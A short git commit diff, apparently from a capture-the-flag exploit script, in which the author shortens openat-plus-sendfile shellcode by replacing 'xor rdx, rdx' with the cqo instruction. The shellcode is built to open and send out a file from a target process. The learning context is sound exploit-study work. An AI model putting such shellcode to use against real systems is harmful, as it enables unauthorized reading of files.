learnt about the cqo instruction that sign-extends rax into rdx
This commit is contained in:
@@ -26,9 +26,9 @@ r.sendlineafter(b": ", buf)
|
|||||||
|
|
||||||
# openat + sendfile
|
# openat + sendfile
|
||||||
shellcode="""
|
shellcode="""
|
||||||
lea rsi, [rdx+38]
|
lea rsi, [rdx+37]
|
||||||
mov edi, -100
|
mov edi, -100
|
||||||
xor rdx, rdx
|
cqo
|
||||||
xor r10, r10
|
xor r10, r10
|
||||||
add ax, 257
|
add ax, 257
|
||||||
syscall
|
syscall
|
||||||
|
|||||||
Reference in New Issue
Block a user